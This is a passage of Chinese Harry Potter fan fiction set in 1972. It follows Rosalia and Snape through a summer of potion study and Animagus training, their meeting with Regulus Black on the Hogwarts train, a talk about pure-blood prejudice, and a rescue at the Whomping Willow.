一开始,罗萨利亚觉得求人不如求己,要是她自己能学会,岂不是比什么都强,便也跟在斯内普身边旁听。然而,她很快就明白拉文谢德家族的人为什么只能向外求药,而不设法自给自足了:
什么药剂原理复杂、成分冷僻、步骤繁琐,制作周期长,其实都只是一部分原因。最关键的是,它涉及一种古老的魔咒。这种魔咒,必须由一个与遗传病患者无血缘关系的人施展才可能奏效——这简直是对这个爱好族内通婚的家族的一种讽刺。(1)
那就只能靠斯内普了——还好他本人看上去很感兴趣,光是灵肉缺陷融合症的发病机制与稳定剂原理的相关理论知识就记了整整一大本笔记;就算是和罗萨利亚一起去找莉莉,他也会带上艾琳夫人书架上的相关典籍。
罗萨利亚毫不怀疑,斯内普很快就会掌握灵肉稳定剂的调配方法。
不过,这事儿也弄得他太忙了。
毕竟除此之外,斯内普还要完成暑假作业、帮艾琳夫人熬药、辅导她学习魔药、练习大脑封闭术以及抽出时间翻两本有关黑魔法防御的书……
罗萨利亚想了想,劝他可以先把灵肉稳定剂的事放一放,反正还有艾琳夫人在——然后很快就被本人骂了。
对方用看傻子的眼神看她:“罗萨利亚,我以为你至少能意识到需要喝药的人是谁?”
罗萨利亚:“行行行……”
在斯内普的无形威压下,罗萨利亚也不好意思闲着了。她很快敲定了新的学习目标:阿尼玛格斯变形术。
其实阿尼玛格斯的难度也不容小觑,但鉴于麦格教授肯定过她在变形术方面的天赋,罗萨利亚觉得值得一试。如果能练成阿尼玛格斯——当然,是非法的那种——不失为多了一种保命的手段。
为此,罗萨利亚翻出了艾琳夫人的旧课本,开始研读中级与高级变形术理论,她还趁艾琳夫人和斯内普购买魔药材料的空隙,去丽痕书店翻翻阅了一些有关阿尼玛格斯变形术的书籍。
很快,她的小动作就被发现了——其实她也没想瞒着。
艾琳夫人略显担忧地说:“噢!你想学习阿尼玛格斯?能让你变成毛茸茸的小动物的那种复杂变形术?”
她话落之后,有那么一霎那,斯内普的脸色变得有些古怪。罗萨利亚知道,他现在肯定在想火车上的事。
不过她的灵感来源确实是那次吵架。
“但我听说它很难……我就说你之前为什么要买曼德拉草叶片呢。”艾琳夫人这样说着,还是从药材货架上多拿了一瓶死亡头鹰蛾的蛹壳去结账,罗萨利亚知道那是阿尼玛格斯混合剂的原料之一。
她说:“总之,你可以先练习怎么含着曼德拉草叶片不吞咽下去,至于制作混合液的细节,我可以帮你确认。”
这样一来,罗萨利亚就只需暂时专注变形术相关的学习了。
1972年的夏天,科克沃斯的草地上会随机长出一到三个小巫师,坩埚不分昼夜地在蜘蛛尾巷的小房间里冒泡。
卧室里的蒸汽和嘴里的曼德拉草叶片从外到里地浸染着罗萨利亚,哪怕她用上莉莉的玫瑰香氛,身上还是隐约散发着混杂的药味。更可怕的是,她现在只要一天不洗头,碎发就会像海藻一样黏糊糊地贴在脸和脖子上。
罗萨利亚绝望地把这件事告诉了艾琳夫人,后者“噗”一下笑了,说道:“和正在熬煮的魔药接触时间久了都会这样的,亲爱的,等你远离它们一段时间就会恢复。”
艾琳夫人刚说完这话,罗萨利亚就莫名觉得有什么地方不对劲,但又一时间没能抓住这种感觉。
就在这时,楼梯开始吱嘎作响,斯内普恰好夹着笔记下来了。罗萨利亚一看到他便瞪大了眼睛——她知道是什么不对劲了!她盯着斯内普,发现对方的头发竟然比她的还要干燥蓬松很多!这对吗?他不是也每天都在坩埚前晃悠——
等一下,再等一下。
罗萨利亚咬起嘴唇来。
斯内普的头发不应该是——这到底是什么时候的事?
记忆仿佛进入倒带,她努力回想斯内普这一改变的开端。但这种变化似乎是零碎和细微的,而非经过某一时间节点后突然发生的。到底是什么促成的呢……
斯内普在她的注视下,停住了脚步。他低头打量自己,又抬手将头发别到耳后,而后怀疑地皱起眉头看她,说:“这不是我第一次在你面前穿这件吧?”
“啊……”罗萨利亚还在思考,随口道:“不是,这个假期就至少三次了吧。”
“那就别再用亮晶晶的眼睛盯着我看了。”斯内普道。
罗萨利亚“哼”了一声。
不管了,反正他有意打理自己的形象是跟艾琳夫人的气色恢复一样的好事。她高兴地心想。
而艾琳夫人瞧瞧罗萨利亚,又瞧瞧斯内普,忽然道:“话说回来,开学前,你和西弗是不是都该剪剪头发?”
罗萨利亚和斯内普的头发在过去一年里长势惊人。
斯内普那些曾因随手修剪而参差不齐的头发已经从耳后越过颈背,而罗萨利亚脑后的盘发也沉甸甸地下垂着。
斯内普坐到罗萨利亚身边,低头翻看笔记,说:“我的可以自己剪。”
“但上个夏天你就剪得乱七八糟的。”罗萨利亚伸手撇起他的一缕头发拉到对方眼前:“我来剪都比你手艺好。”
斯内普一偏头收走了自己的头发,仿佛懒得理罗萨利亚的这种小动作,他连眼睛都没抬,整张脸只有嘴巴在动:“我、不、可、能让你来剪。”
被拆穿了。罗萨利亚心想。
“那我要艾琳夫人帮我剪头发。”她站起来,说道:“艾琳夫人请稍等,我先去把头发打湿。”
“好。”艾琳夫人点点头,看上去有点期待:“不过我也不能保证自己的手艺。”
夏末的早晨,阳光柔和得像纱。可惜蜘蛛尾巷从来不是为沐浴光照而设计的,一天之中能有几缕亮色照到破旧的地板上,已经是得益于天气和季节的结果了。
此时此刻,正有一缕阳光偷溜进来,躺在了罗萨利亚湿润的头发上。艾琳夫人掀起她的一缕头发,用一把生锈、卡顿的剪刀将其拦腰剪断。空气飘荡着熟悉的洗发露的气味。
因为长年累月的盘发,即便发丝浸润,罗萨利亚耷拉在肩膀上头发依然是卷曲的。手里的番茄已经被啃去大半,她缓慢咀嚼着,目光有些游离,一看就知道又在走神。
“好了。”艾琳夫人忽然道。
斯内普收回了视线,手指翻动一页笔记。
“现在应该刚好够你盘起来。”艾琳夫人说:“你是想扎起来呢,还是披着头发等晾干?”
罗萨利亚咽下最后一口番茄,酸甜的味道几乎盖住了她舌头底下曼德拉草叶片的味道——经过反复尝试,她总算能含着它正常吃东西了——她含糊着声音道:“就这样披着吧,谢谢你,艾琳夫人。”她去厨房洗手,声音从不远处传来:“西弗——你真的不让艾琳夫人给你剪吗?”
艾琳夫人站在原地,向斯内普投去一个隐隐约约的目光。而斯内普快速地看了她一眼,紧抿嘴唇,好似不情愿般合上了笔记。
比起罗萨利亚,斯内普在剪发的全程都显得很僵硬。这大概是因为,艾琳夫人已经很久没有动手为他修剪过头发了。
其次就是……他的头发现在其实是在由两个人在操刀。
“从这里可以收短一些。”这是罗萨利亚。
“从耳后这里吗?”这是艾琳夫人。
“对,额前再留一点碎发。”
“这样?”
“没错。”罗萨利亚很认真地说:“这样好看。”
“罗萨利亚……”斯内普眯起眼睛,他嘴唇没有动,说的话几乎是从舌头上平着滚出来的:“我看起来像你的玩具人偶吗?”
罗萨利亚举手投降:“他要生气了,艾琳夫人,我不说话
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了。”
艾琳夫人咯咯地笑了,鸟架上的阿里奥特和穆宁也跟着她嘎嘎叫起来。
很快,新的学年就又要开始了。
从九又四分之三站台离开仿佛还是昨天的事情。但不论是莉莉还是斯内普,看起来都对返校这件事充满期待。
坐到火车上后,莉莉便开始新奇地打量斯内普和罗萨利亚,她的目光最后落在斯内普身上,说:“西弗,你的头发……”
斯内普正在专注地读一本厚厚的书籍:“问罗萨利亚。”
罗萨利亚自然地接过话题说:“算是我干的吧,怎么样,好看吗?”
莉莉“唔”了一声,微微笑道:“好看……你们俩的关系越来越好了,真好。”
罗萨利亚从莉莉的语气中察觉到她情绪有些低落:“莉莉,你怎么了?和佩妮又吵架了吗?”
“……什么都瞒不过你,罗萨。”莉莉耸耸肩,做出无所谓的神色:“佩妮不想跟我玩那就不跟我玩吧,反正她有她的朋友,我也有我的——这个假期我收到了好多人的来信!猫头鹰来来回回地飞,爸爸妈妈也很高兴我交到了那么多朋友。罗萨、西弗,你们呢?有收到信吗?”
斯内普没抬头,道:“我不太用猫头鹰。”
罗萨利亚回忆了一下,道:“我收到玛丽安娜夫人的来信,她夸我上个学年的成绩很好,竟然没有给家族丢脸,还说让我今年继续努力。”
莉莉停顿了一会儿,迟疑地说:“这就……完了?”
罗萨利亚说:“没别的了,其他画像都懒得操心小辈的事。”
“罗萨,莱姆斯没给你写信吗?他跟我提过说要给你写信。”莉莉问。
“是吗?但没有啊。”罗萨利亚有点困惑。
这时,斯内普的视线从书页上离开了,问:“卢平知道你现在住在蜘蛛尾巷吗?”
“哦——完了。”莉莉抬手捂住了嘴巴:“我也没跟他说过。莱姆斯会不会是把信寄去你那边的家了?”
这就不太妙了,一个假期都没回信,多少有点没礼貌。罗萨利亚心想。
于是,为了快速拿到拉文谢德堡的信件,罗萨利亚直接召唤了家养小精灵劳伊,莉莉还被吓了一跳:“罗萨,我没想到你拥有家养小精灵!”
罗萨利亚道:“准确来说,劳伊是属于拉文谢德家族的,我叔叔也能召唤她,不过,她会以我的命令优先。”
“这是为什么呀?”莉莉问。
“因为按照遗嘱,我才是拉文谢德家族的当家家主。”
“你收到了谁的信?”斯内普则问:“怎么有五封?”
“不知道,我看看。”罗萨利亚整理信封,道:“首先是莱姆斯·卢平的……嗯,前两封都是他写的,我一会儿找他解释去。然后是第三封信和第四封信——哦,这两封寄送的是之前和泰德一起拍的照片,应该是我们两个人的份。不知道是谁替我们填的地址,怎么送到了拉文谢德堡……最后一封是……嗯?”
斯内普又问:“是谁的?”
第五封信,竟然来自安多米达·布莱克。可当着莉莉的面,罗萨利亚不知道怎么跟斯内普解释。
就在这时,一道很轻的声音从车厢门口传来。
“你们好,请问……”
就在莉莉转头的瞬间,罗萨利亚把第五封信压在照片寄送件下面直接塞到了斯内普手里。
随后,她也顺着声音看过去,只见一个黑头发、灰眼睛的男孩单手抱着一只黑猫,扶着车厢玻璃站在他们所在车厢的门口。罗萨利亚看着他,莫名有种熟悉又陌生的感觉。
“打扰了。”男孩的视线在三人的袍子上短暂停留,他睫毛颤动几下,道:“请问,我可以坐这里吗?其他位置都满了。”
莉莉在确认罗萨利亚和斯内普都没什么意见后,主动说道:“请坐吧。我看你的巫师袍上没有院系徽章,是第一年的新生吗?你叫什么名字呀?”
“是的,这是我在霍格沃茨的第一年。”男孩坐到莉莉身边,他怀里的黑猫打了个哈欠。他说:“你们好,我叫雷古勒斯·布莱克。”
罗萨利亚的眼睛一下睁大了。
31. 雷古勒斯
“雷古勒斯·布莱克?”
莉莉惊讶地眨眨眼:“你是不是——你是不是西里斯·布莱克的弟弟?我好像听他提起过你……”话说到最后,她不知想起了什么,神色有点尴尬。
罗萨利亚看到雷古勒斯张了张口,他灰色的眼睛闪过微光,似乎想说点什么。但他最终只是抿起嘴点了点头,承认了这层关系。
莉莉问:“你怎么没有去找西里斯?”
“我是从他们那边来的,西里斯说包厢已经满了。”雷古勒斯说话声音轻轻的,看上去有点委屈:“而且他们的猫头鹰一直因为我的布莱克在尖叫。”
“你说的布莱克是指?它?”莉莉看向他怀里的猫,那只黑猫窝在他怀里舔自己的毛发。
“对,她叫Black(阿黑),是我堂姐买给我的。”雷古勒斯给阿黑的下巴挠痒,脸上第一次出现笑容,说:“她全身都是黑色的,很漂亮吧。”(1)
耳朵听着莉莉与雷古勒斯交谈,罗萨利亚的心思却不在他们身上,她耐心等待着,很快,就感到斯内普在她手背上划出了一个L。
好了,他已经看完了自己塞给他的信。
罗萨利亚悄然施展了摄神取念。很快,就在斯内普脑海中看到了安多米达的信——
安多米达在信中所用的口吻十分熟捻和亲近,说道:
她那个“温顺可爱“的堂弟雷古勒斯今年就要去霍格沃茨了。而雷古勒斯从小被家里人寄予厚望、严格管教,性格有些内敛。西里斯又是个没心没肺的混世魔王,指望不上。她担心他去学校后交不到朋友,就想起了罗萨利亚和西弗勒斯。
【如果你俩能在雷古勒斯受人欺负时罩着他,或者在发现有人试图带坏他时拉他一把,那就再好不过了。——你们什么时候这么熟了?S. 】
S. 这是西弗勒斯名字的缩写。罗萨利亚意识到,斯内普在用大脑封闭术给她编织讯息,于是回望对方,几不可见地摇头。
说实话,她也有点意外。安多米达为什么找她和西弗勒斯呢?他们之前也不过是交易的关系。还是说,这是泰德·唐克斯的提议?安多米达是爱屋及乌地对他们有几分亲近?但信上又没提到莉莉……她都没想过安多米达会主动地把雷古勒斯介绍给他们——那么,雷古勒斯此刻出现在这里,恐怕并非巧合?他是专门来找他们的吗?
罗萨利亚感觉到斯内普正信的后半段内容慢吞吞浮现出来,于是继续读了下去:
【总之,就当看在我帮你西弗哥哥——?S. 瞒住西里斯有关那个药剂的事情,也麻烦你多多照顾我堂弟雷吉(安多米达画了一个笑脸)。顺便一提,这个假期我和朋友会去毕业旅行,你千万别把回信寄到格里莫广场。等旅行结束,我自会再联系你。】
什么东西——罗萨利亚差点没能绷住脸上的表情。
不排除安多米达提复方汤剂也是想再威胁威胁她,但是,为什么一定要调笑似的提一嘴称呼的事!她当时只是为了打感情牌引起对方共鸣才那么说的……
这下好了——罗萨利亚有点不敢看斯内普,她甚至压根没跟他提过这事儿——斯内普的问号快把她砸死了。
“对了,还没自我介绍,我是莉莉·伊万斯。”与此同时,莉莉说道:“他们俩是罗萨利亚·拉文谢德和西弗勒斯·斯内普。”
“你们好。”
阿黑“喵”了一声,从雷古勒斯膝盖上跳了下去。它绕过莉莉,开始嗅嗅又蹭蹭地在罗萨利亚和斯内普的腿脚间巡游。
雷古勒斯看了看阿黑,又看了看莉莉,似乎在思考什么。他灰色的目光最后落在对面的斯内普和罗萨利亚身上:“其实我之前就知道你们的名字了……安多米达堂姐给我看过和你们的合照,她给我指认过你们。”
“啊,她是不是有着金色的头发,还和泰德·唐克斯是好朋友?”莉莉问。
雷古勒斯点点头。
这时,脚边毛茸茸的触感消失了。罗萨利亚正要低头看一眼那只黑猫在干什么,却忽然腿上一沉。她一垂眼,正对上阿黑那双圆润的大眼睛。
黑猫蓬松的大尾巴有一下没一下地拍打着她的膝盖,距离之近,她已经闻到它身上热乎乎的气息了。
罗萨利亚整个人都僵住了。
“嘎——”
忽然,穆宁在头顶行李架的笼子里叫了一声。阿黑的注意力立刻就被吸引了,它从罗萨利亚身上漫步到一旁的坐垫,又开始仰头看穆宁。
被解放的罗萨利亚往斯内普身边挪动几寸:“阿黑它……”
“阿黑不吃鸟的,她平时也只吃闪耀猫狸世家的罐头。”雷古勒斯的语速快了些,解释道:“阿黑只是好奇心比较重,她送信的时候也经常因此迟到。”(2)
“罗萨,难道你……”莉莉则上下打量着罗萨利亚紧绷的姿态,试探问道,“你怕猫吗?”
罗萨利亚僵硬地掀了掀嘴角,下意识否定:“不,我就是——”她快速地想了一个理由,“觉得它的爪子有点尖,扎到我了。”
“抱歉!”闻言,雷古勒斯立刻走过来抱起阿黑,他歉意地说:“这几天有点忙,我忘记给阿黑剪指甲了。”然而说完,他却顺势在罗萨利亚腾挪出的位置坐下了,补充道:“不过你放心,阿黑性格特别温顺,是不会攻击任何人的。这一点我能保证——”“不好意思……打扰了。”
熟悉的声音在门口响起。
莉莉惊讶地说:“莱姆斯?”
“打扰了,我是来找雷古勒斯·布莱克的。”卢平把包厢拉开半边,张开手掌挥了挥,随后目光从雷古勒斯和猫身上转向罗萨利亚,他脸上的笑容变得有些不自然了:“嗯……雷古勒斯,我刚刚把西里斯他们的包裹和猫头鹰放到别的地方了,你要回去跟西里斯一起坐吗?”
闻言,雷古勒斯看向罗萨利亚,面露犹豫。他又抬头问卢平道:“我真的可以去吗?”
“当然可以。”卢平说:“我已经和西里斯他们说好了。”
见雷古勒斯还在踟蹰,罗萨利亚便道:“去吧,我们在学校还会见面的。”
于是,雷古勒斯抱着阿黑走出了包厢。卢平侧过身,好让他走在前面。
“对了,莱姆斯,等等。”
卢平听到呼唤,回过头看她。罗萨利亚挤到走廊上关好门,手里还拿着信,言辞恳切道:“莱姆斯,我不久前才知道你给我写信了。我不是故意不回你
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的信的。怪我,是我忘记和你说我现在不住在拉文谢德堡了。如果不是莉莉提到,我可能现在还不知道你写信了这件事。”
卢平“哦”了一声,神色好些了:“我猜到你可能是有别的原因。那你现在住在哪——我可以问吗?”
“当然。我现在住在蜘蛛尾巷。”罗萨利亚说:“我目前跟西弗勒斯住在一起,莱姆斯。”
“什么?”他问。
“说来话长,总之,他妈妈受我监护人的委托负责照料我,她也可以为我及时提供克制遗传病的魔药——知道这件事的人不多。”罗萨利亚低声解释道。
卢平了然地点点头,微微一笑,道:“原来是这样……我不会说出去的。”
“我相信你。”罗萨利亚也笑道:“那你快回去吧。蜘蛛尾巷的详细地址我晚些时候给你。”
“好。晚点见。”
包厢的门再度打开。
“你跟他解释了?”莉莉见罗萨利亚回来,便问道。
“对。”罗萨利亚瞥向一言不发看书的斯内普,说:“他现在知道我换地址了。”
斯内普抬眼看她:“别告诉我,他以后会把信寄到蜘蛛尾巷。”
“我想是的。”罗萨利亚道。
斯内普轻轻“哼”一声,手下翻了一页书:“你怎么说的?也用了‘我是你哥哥’的说辞?”
他的发音又慢又轻,其中的意味非常明显,这令莉莉“噗”地笑出声来,她赶忙捂上嘴,问:“等一下,你们在说什么?”
“没什么。”罗萨利亚感觉自己的脸快红了,她又咬牙切齿地对斯内普说:“你晚点再跟我讨论这个不行吗?”
“不过,话要这么说也没错啦,斯内普阿姨毕竟也算罗萨的监护人嘛。”莉莉笑眯眯地道。
“我们换个话题吧,好不好?”罗萨利亚恳求道。
又是一年分院仪式。
不过这一次,就轮到罗萨利亚、莉莉和斯内普坐在餐桌上为新生鼓掌了。
“雷古勒斯·布莱克。”麦格教授喊道。
罗萨利亚看到雷古勒斯走上前去。尽管他紧张得咽唾沫,但灰色的眼睛却又透出坚定的光芒。
分院帽在他头上没待多久,就高呼一声:“斯莱特林!”
雷古勒斯发自内心地笑了。斯莱特林餐桌正在热烈鼓掌欢迎他。他快步走下台,眼睛仿佛在餐桌边搜寻着什么。很快,雷古勒斯就在斯内普身边坐下来,他们对面,卢修斯和纳西莎正赞许地看着他。
很快,分院仪式结束了,邓布利多照常吩咐着注意事项,最后,他还特别介绍了本学年新的黑魔法防御课老师——莱莉·布瑞兹,反黑魔法联盟骨干,有着丰富的对抗各种黑魔法生物的经验,年轻时曾多次参与苏格兰高地巨人驱逐行动。(3)
莱莉·布瑞兹站起来向所有人致意。她穿着一身干练的、看起来饱经风吹日晒的巫师袍,脸上满是坚毅和自豪的笑容。
这位黑魔法防御课教授看起来可比上一任要靠谱,所有学生都很激动。大多数教职工们也纷纷向她表示欢迎——除了海格。罗萨利亚注意到他抿着嘴勉强鼓掌了两下,然后就把那双大手藏到桌子下面去了。
32. 血统
第二天,新学年的课表就分发下来了。
罗萨利亚和莉莉刚到餐厅,就听到一旁的赫奇帕奇在惊呼:“下周一第一堂课就是黑魔法防御!耶!”
“课表飞来。”罗萨利亚坐到赫奇帕奇餐桌末尾占好三个位置,随后对着拉文克劳餐桌挥杖。一张课表就抖动身体飘到了她手上。
莉莉从麦格教授那里拿了课表回来,坐到罗萨利亚身边张望了一下:“西弗竟然还没来。”
“是哦。”罗萨利亚举起牛奶喝了一口,用舌头压住曼德拉草叶片:“他平时都挺早的——”“你们不是拉文克劳和格兰芬多的学生吗?”
“——咳咳!咳……”
突然,一个声音从他们身后响起。罗萨利亚被呛得差点把叶片吞下去。
两人回过头来,正对上赫奇帕奇新任男级长的双眼。莉莉一边拍着罗萨利亚的后背,一边嗫嚅道:“啊……我们……”
“还愣着干什么?你们坐在这,新生没位置了怎么办?”新男级长冷冷地说道。
罗萨利亚对莉莉摇摇头,起身站了起来。就在这时,一位衣袍上同样别着“P”字母的赫奇帕奇走过来了,她正是之前给泰德和安多米达拍毕业合照的那位。马琳摆摆手说:“你们继续坐吧,没事的,餐桌位置足够——走吧走吧,别管了,又没什么大不了的。”
男级长一步三回头,还是被她拉走了。
莉莉拍拍胸口重新坐下,咕哝说:“赫奇帕奇新的级长还真凶。”
“怎么了?”斯内普的声音传来。
罗萨利亚的嗓子终于舒服些了,她闻声抬眼,却看见两个绿绿的蛇徽在向她靠近。她的目光落在斯内普身侧那人身上:“雷古勒斯?”
雷古勒斯小声打招呼:“你们好。”
“你好啊?”莉莉迟疑地道。
“他想跟着来。”斯内普没有解释太多,自然地在罗萨利亚身侧坐下。而雷古勒斯歪头看了一眼莉莉,慢吞吞地在斯内普左边落座。
四个人并排,莉莉探出脑袋问:“雷古勒斯,你不去找同年级的学生一起吗?趁着周末,你可以多交几个朋友呀。”
雷古勒斯的目光只在莉莉身上停留一息,便炯炯地望向罗萨利亚:“堂姐说,我平时可以多和你们呆在一起。”
罗萨利亚偏过头,问:“那你想和我们一起吗?我是问你本人的意思。”
闻言,雷古勒斯眨了眨那双灰色眼睛,仿佛有些失落般道:“我当然想的。”
他话音刚落,礼堂上空就传来“咕咕”的猫头鹰鸣叫。信使们纷纷飞来,为学生们送上信件。与此同时,“喵”地一声猫叫从他们身后响起。
罗萨利亚感觉后背被什么毛茸茸的东西贴住了,她心头一紧,低头看:阿黑正试图挤入她和斯内普之间的空隙,它嘴里叼着信和一份报纸。
阿黑大摇大摆地踩到斯内普腿上,把他当踏板似的朝雷古勒斯走去。斯内普发出略微不满的叹息:“你最好——确定它——真的只是好奇。”
阿黑不理睬他,轻盈地跳上桌子。
雷古勒斯从它口中接过派件,赶忙解释说:“阿黑有猫狸子的血统。她对巫师一向有自己的判断,能够确认哪些人是——自己喜欢的人。我是说,阿黑应该只是在对你们表达亲近。”
“你的意思是……阿黑喜欢我们?”
雷古勒斯先瞧了瞧斯内普,又快速地瞥了一眼莉莉,然后说道:“是的,拉文谢德小姐。”
“好吧……”罗萨利亚有点无奈,道:“你用教名称呼我们就行,别那么客气。”
“好。”雷古勒斯拿着报纸,那上面还沾有几片阿黑湿嚅的咬痕。他有点踌躇地问:“我订了预言家日报,你们有谁想看吗?”
莉莉挥挥手,笑着说:“我有点想看看,可以吗?我都没怎么看过这东西。”
雷古勒斯从斯内普和罗萨利亚身后把报纸递给了莉莉。而在莉莉接过的瞬间,他的手指兀地蜷缩回去。
莉莉几乎立刻注意到了这一点。然而,还没等她投去疑惑的目光,雷古勒斯就已经扭头坐正了。
“怎么了?”
莉莉回过神来,抖开报纸转过身来,对罗萨利亚勉强笑了笑:“没事——我看新闻呢——呃,比如这个……‘多地夜闻狼嚎,满月日须谨慎出行——魔法部现已行动’。这是什么意思?”她把报纸往罗萨利亚和斯内普面前倾斜。
罗萨利亚望向报纸,咀嚼的动作不禁停顿下来。
“狼人。”斯内普也过侧头,解释道:“他们会在满月日的夜晚变身。”
莉莉略有些吃惊:“狼人?哦——我想起来了,我在罗萨送我的书中读过有关狼人的故事。”她的语调染上担忧:“我们在学校里,应该很安全吧?”
斯内普点头,道:“除了禁林,尽量别靠近那里。”
早餐过后,雷古勒斯就先表示他得回寝室给阿黑洗脚,不然她会把他的枕头踩得脏兮兮的。而在他离开之后,莉莉对罗萨利亚和斯内普说:“雷古勒斯给我一种,不太好的感觉。”
罗萨利亚闻言一顿:“为什么这么说,莉莉?”
莉莉手里还捏着那份报纸,她缓缓摇头:“我说不上来,但是——唉,你们刚刚又都没看到——他给我递报纸的时候,松手松得特别快,像要避开我似的。还有那只猫,他提到它时,语气听起来很高傲,那只猫本身也让我感觉不是很舒服……你们知道吗?西里斯跟我说过雷古勒斯他——”
说到这儿,莉莉刹住了话题。她讪讪地看着斯内普和罗萨利亚,道:“算了,也可能是我太敏感了,你们一会儿打算去哪儿?”
罗萨利亚缓缓望向斯内普:“可能,打人柳?”
斯内普颔首回应她。
“天啊,这才刚开学——今天还是周六!你们要练黑魔法防御?”莉莉压低单侧眉毛看着二人,无奈地说:“我真不知道怎么说你们了。”
“算了,你们俩去吧,我想找我在格兰芬多的朋友们聊聊暑假生活。”她最终说道。
……
“你觉得雷古勒斯怎么样?”在前往打人柳的路上,罗萨利亚心绪重重地问道:“他昨天有给你添麻烦吗?”
因为开学恰逢周末,城堡内外散漫着各个学院的同学,有人从礼堂打包了早餐卧在湖边的草坪上享用,还有少数人在狂奔和打闹。两人从他们中间穿过时,一只不知从哪飞来的巧克力蛙正巧越过他们“啪唧”一声砸在另一个人脸上,后者发出“嗷”的痛呼,开始口齿不清地挥动魔杖。
“盔甲护身。”斯内普挥杖挡掉那人冲四周胡乱发射的咒语,不耐烦地瞪了他一眼——当然,对方现在什么也看不到。
他转头对罗萨利亚说:“没有。他并不是时刻都跟着我。纳西莎和卢修斯也在照看他。”
“不许笑——毛虫乱飞!”
在周围人的嬉笑中,脸上粘着巧克力蛙的学生手中的魔杖开始向四周发射出无数花花绿绿的毛毛虫。
罗萨利亚一手护住斯内普:“破茧
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成蝶——我还以为他会很粘人。”
她魔杖一挥,四面八方乱飞的虫子霎时间在变形咒的作用下化作蝴蝶往相反方向飞去。而谢天谢地,巧克力蛙从那人脸上跳了下来,他终于能精准地和人掐架了。
“他显然是有针对性的。”斯内普道。
罗萨利亚紧接着拽住他跑离了人群。
她说道:“不知道为什么,一见到雷古勒斯,我就有种奇怪的感觉。”
“被人刻意又不加掩饰地接近,就是会有种奇怪的感觉。”斯内普一顿,说:“你当时也给过我这种感觉。”
“我——”罗萨利亚瞪他一眼:“我们的感觉肯定不一样。而且我当时是真的想和你做朋友。雷古勒斯又不是,他肯定——他大概是听了安多米达的话才一直来找我们的。”
她从前光知道西里斯亲近安多米达,没想到雷古勒斯也是一样——看来安多米达对布莱克兄弟的影响比自己想象中还要大。
斯内普不置可否,只是道:“他确实很听他堂姐的话。”
“那你觉得,”罗萨利亚想着自己这两天的观察,还有莉莉在餐桌上说的话,终于切入正题道,“他是因此才忽略了莉莉,还是就像布莱克家族的多数人那样,会因为莉莉的出身而……疏远她?”
斯内普却问道:“雷古勒斯有什么特别的?”
“什么意思?”
“罗萨,你没发现自己在下意识地偏袒他吗?”斯内普皱着眉说:“你前面铺垫了那么长,就为了在这种问题上给他多留一个选项?”
罗萨利亚沉默了。
“两天,罗萨利亚,”斯内普的语气冷了下来,“他唯一做的,就是对你展露了点儿微不足道的亲近。为什么?”
罗萨利亚叹气说:“我现在也意识到自己的问题了,莉莉已经提醒我了——”
“嗯。”斯内普紧接着说:“看来你还没忘记对此真正有评判权的是莉莉。”
他说对了。罗萨利亚心想。
她的感受其实没有参考价值。
在她、斯内普和莉莉三个人中,雷古勒斯明显最亲近自己。她无法排除自己的“纯血”身份是否发挥了作用,更不该忽视——雷古勒斯本就是一个在血统至上的环境下、以符合家族期待的姿态长大的孩子。
换句话说,他有多么听从安多米达的话,就会有多么听从贝拉特里克斯、纳西莎还有他的父母的教诲。
他信奉纯血主义是多么自然的一件事啊……但是——
“但是他现在未必知道莉莉的父母是麻瓜,而且安多米达在信中写了,你也看到了,她说如果有人试图——”
“纯血家族对彼此都有所耳闻,剩下没听过的不是混血就是麻瓜出身。”斯内普打断她,沉沉地说道:“或者说,我更清楚这一点,罗萨。是否需要我提醒你,我就是混血,并且还是一个斯莱特林?我理解莉莉说的那种感受——不、许、突然摄神取念我,罗萨利亚。怎么对着我,你就不讲你那没什么用的礼貌了?”
“我想知道是谁说你——”“但这不在练习范围内——当然,今年的L&O清单确实该做调整了,你一定很希望我用去年圣诞节的回忆训练你,对吧?”
“……好吧。”脾气真大。
“罗萨,你什么时候能意识到,在多余的人身上花心思只会浪费你宝贵的时间?”斯内普又道。
“要不是和你有关,我哪有那个闲心?”罗萨利亚忍不住反驳道:“谁要管他们了?几个昏昏倒地的事。”
33. 决斗准备
斯内普冷冰冰的表情突然松动了一下。
“……你能意识到这点吧?”罗萨利亚对此有种熟悉的感觉,她隐隐察觉到什么,试探着说道:“你知道比起他们,还有雷古勒斯,我更在乎你吧?”
“……我知道。我想说的是——”斯内普的嘴角无法抑制地翘动一瞬,他马上扭过头去,往打人柳的方向又走了两步。
“我想说——”可此时恰好有三五个矮个儿新生从远处嬉笑着跑过,斯内普到嘴边的话就这么被冲散了。他问:“……你刚刚说到哪了?”
“说到莉莉了——看来某人只顾着教训我,连在聊什么都忘了。”罗萨利亚故意说道。果然,斯内普的表情变得像发现她的复合解毒剂量运算结果小于单体总和了一样。她终于舒心了。
“雷古勒斯的事……既然连你也这么说,那接下来还是想想怎么办吧。”罗萨利亚正色起来:“莉莉现在肯定对雷古勒斯没什么好感,我怕如果我们继续接触他,莉莉会和我们产生嫌隙。”
说完,她一顿,咬了咬嘴唇又道:“但是,我又有点担心安多米达在信中说的话,我不确定她跟雷古勒斯说了多少我们的事。”她指的是复方汤剂。
尽管事情已经过去,但如果小天狼星知道了,一定会给他们添不少麻烦,甚至还可能会闹到莉莉眼前。
斯内普听明白了。他道:“莉莉会更希望你站在她那边。而我可以想办法引导雷古勒斯避开你们。”
“你的意思是——”
“啊啊啊——救命啊——”
一道凄厉的尖叫从打人柳那边传来。
“救命!梅林的胡子——戴维——救命!”
“快去喊教授——”
罗萨利亚快速地和斯内普对视一眼:是刚才那群一年级新生。
从上半年开始,打人柳附近就开始冒出除他们外的其他学生:多数都是来自格兰芬多的。他们也是来练习L&O的,只不过是Leap & Outmaneuver(飞跃与闪避)。
二人向打人柳跑去,此时此刻,树下正蜷缩着一个浑身发抖、皮开肉绽的学生。罗萨利亚瞥了眼树上的节疤,犹豫了刹那,最终挥动魔杖,念咒将不远处地上的一大块碎石块变成了一只山羊。
她控制山羊朝着打人柳飞跃过去,很快就吸引走了挥舞的枝条的注意。斯内普则施展起盔甲护身跑到树下,拽住那个学生的衣服直接将人拖出了打人柳的攻击范围。
“我的眼睛……我的眼睛看不见了……”那个叫戴维的男孩满脸是血,拽着斯内普的裤脚不放手。他的几个同伴围了上来,不知所措地又哭又叫。
“安静!”斯内普略微提高声音,从怀里掏出一个草药瓶,他用手扣住戴维的脸低声说:“如果不想要眼睛,就继续往我裤子上蹭你的血。”
“他要给你上药。你别乱动。”罗萨利亚收了变形术,跑过来温声解释。自从二人开始练习黑魔法防御,斯内普就一直随身携带各种常用的伤药与草药瓶。
闻言,戴维终于不动了,乖乖地任由斯内普往他眼周撒下一圈粉末。
